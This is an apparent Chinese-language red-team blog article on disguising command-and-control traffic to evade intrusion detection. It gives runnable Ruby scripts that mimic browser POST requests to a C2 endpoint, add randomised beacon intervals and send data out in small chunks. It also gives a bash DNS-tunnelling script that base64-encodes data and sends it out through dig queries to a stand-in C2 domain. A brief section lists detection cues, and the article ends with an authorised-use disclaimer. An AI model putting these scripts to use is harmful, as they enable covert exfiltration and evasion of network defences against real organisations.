一、为什么要伪装流量?

黑客示意图

曾经,我遇到过一个有趣的案例。某互联网公司部署了一套昂贵的入侵检测系统(IDS),官方宣传能够检测99%的恶意流量。然而,公司的一个对手雇佣了一支红队,在短短两天内就攻克了内部网络。事后复盘时,IDS日志几乎没有任何异常,团队百思不得其解:为什么这么多恶意攻击流量完全没有被检测到?

答案其实很简单:流量伪装

攻击者并非使用典型的攻击流量,而是将所有的通信伪装成合法流量,比如普通的HTTP、DNS、HTTPS,甚至直接隐藏在流行的第三方流量中,比如云存储或者即时通讯工具。如此一来,防御系统只能眼睁睁看着恶意流量通过,毫无察觉。

这让我意识到,流量伪装技术在现代攻击中是多么重要的一个环节。如果没有强大的流量伪装手段,即便攻击工具再强大,也可能会被防御系统轻松识别并拦截。

防守者的强大检测手段,往往逼迫我们成为更“隐形”的攻击者,而流量伪装,就是让攻击者隐形的关键技术之一。

---

黑客示意图

二、让恶意流量藏匿于合法外壳中

玩转HTTP流量伪装

黑客示意图

HTTP协议是最常见的伪装载体之一,其理由很明显:几乎所有的网络环境都允许HTTP通信。为了让你的恶意流量融入合法的HTTP环境,我们可以伪造HTTP的请求头和内容,模仿真实用户的行为。

以下是一个简单的HTTP流量伪装代码,使用 Ruby 编写,模拟恶意C2通信伪装成普通的浏览器请求:

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;uri&#039;

攻击者的C2服务器地址

c2_server = &quot;http://example.com/api/checkin&quot;

模拟HTTP流量伪装

uri = URI.parse(c2_server) request = Net::HTTP::Post.new(uri)

伪造User-Agent和Referer

request[&quot;User-Agent&quot;] = &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36&quot; request[&quot;Referer&quot;] = &quot;http://www.google.com/&quot;

伪装的POST数据

payload = { &quot;session&quot; =&gt; &quot;randomsessionid12345&quot;, &quot;status&quot; =&gt; &quot;keep-alive&quot; } request.set_form_data(payload)

发送请求

http = Net::HTTP.new(uri.host, uri.port) response = http.request(request)

输出响应

puts &quot;Response Code: #{response.code}&quot; puts &quot;Response Body: #{response.body}&quot;</code></pre>

代码解读:

  • 这里,我们将C2通信伪装成普通的POST请求,包含常见的User-Agent和Referer字段,模拟浏览器的行为。
  • POST中携带的payload数据表面看起来是无害的心跳数据,但实际可以作为C2协议使用。

使用DNS隧道隐藏流量

DNS是另一种绝佳的流量伪装方式,原因在于DNS流量是网络中“最不起眼”的流量之一,几乎不会被拦截。但我们可以利用DNS隧道技术,将数据隐藏在DNS请求中。

以下是一个利用Shell实现的基本DNS隧道通信示例:

<pre><code class="language-bash">#!/bin/bash

C2_DOMAIN=&quot;yourc2server.com&quot;

要传输的恶意数据,base64编码后分片

DATA=$(echo -n &quot;SENSITIVE_DATA_HERE&quot; | base64) CHUNK_SIZE=30

将数据按块分割

split_data() { echo &quot;$DATA&quot; | fold -w $CHUNK_SIZE }

模拟DNS查询,伪装为合法流量

send_data() { for chunk in $(split_data); do dig &quot;${chunk}.${C2_DOMAIN}&quot; &gt; /dev/null done }

send_data</code></pre>

代码解读:

  • 代码将恶意数据SENSITIVE_DATA_HERE进行Base64编码,并分块发送。
  • 每块数据被附加到DNS域名中,伪装成正常的DNS解析请求。
  • 防守方在流量日志中看到的只是合法的DNS查询,而攻击者的C2服务器则可以通过DNS响应进行通信。

---

三、流量免杀背后的细节优化

1. 模仿真实的流量模式

伪装流量时,千万不要“用力过猛”。比如,频繁的C2通信或者固定的间隔会显得异常。我们可以利用随机通信间隔模拟真实用户行为:

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;uri&#039; require &#039;securerandom&#039;

c2_server = &quot;http://example.com/api/checkin&quot; uri = URI.parse(c2_server)

while true request = Net::HTTP::Post.new(uri) request[&quot;User-Agent&quot;] = &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/112.0.0.0 Safari/537.36&quot; payload = { &quot;session&quot; =&gt; SecureRandom.hex(8), &quot;status&quot; =&gt; &quot;idle&quot; } request.set_form_data(payload)

http = Net::HTTP.new(uri.host, uri.port) response = http.request(request)

puts &quot;Sent: #{payload[:session]}, Response: #{response.code}&quot;

随机间隔

sleep(rand(10..60)) end</code></pre>

优化点: 使用随机间隔发送C2请求,避免被检测系统识别出固定的周期模式。

2. 分片与冗余数据

在传输大数据时,一次性发送会引发IDS报警。我们可以将数据分片,并混入冗余数据:

<pre><code class="language-ruby">require &#039;net/http&#039; require &#039;uri&#039;

data = &quot;SuperSecretDataHere&quot;.chars.each_slice(4).map(&amp;:join) c2_server = &quot;http://example.com/api/upload&quot;

data.each do |chunk| uri = URI.parse(c2_server) request = Net::HTTP::Post.new(uri) payload = { &quot;chunk&quot; =&gt; chunk, &quot;dummy&quot; =&gt; rand(1000) } request.set_form_data(payload)

http = Net::HTTP.new(uri.host, uri.port) http.request(request)

sleep(rand(2..5)) # 小间隔发送 end</code></pre>

---

四、如何检测伪装流量?

作为攻击者,你必须了解防守方的检测手段,否则你永远不知道自己的伪装是否成功。以下是一些常见的检测方法:

  1. 频率检测
  2. 如果C2通信的频率过于固定,IDS可能通过流量模式识别。

  1. 协议解析与特征提取
  2. 比如在DNS隧道中,过长的域名或者不常见的请求类型(TXT记录)可能会触发报警。

  1. 上下文异常
  2. 入侵检测系统可能会分析HTTP流量的Referer,如果发现C2服务器的Referer与真实浏览行为不匹配,则存在异常。

---

五、个人经验:流量伪装从“模仿”到“创新”

流量伪装的核心在于“融入环境”。如果你想成功避开检测,以下几点是我在实战中总结的经验:

  1. 多样化通信方式
  2. 不要始终使用一种伪装手段。HTTP、DNS、HTTPS甚至像Telegram、Slack的API都可以是伪装的渠道。

  1. 随机化
  2. 攻击过程中的任何模式化行为都会成为检测的突破口。

  1. 精细化数据传输
  2. 有一次,我见到一个攻击者将大文件分割成了数千个小块,每块数据通过随机时间间隔发送,最终拼接起来的速度依然非常快,但是过程却异常隐蔽。

  1. 实时测试
  2. 在攻击前,最好通过类似Wireshark或者流量审计工具自行检测流量,确保伪装成功。

---

合法声明:本文仅限授权的安全研究和红队评估活动,请勿将本文技术用于非法用途,否则一切后果自负。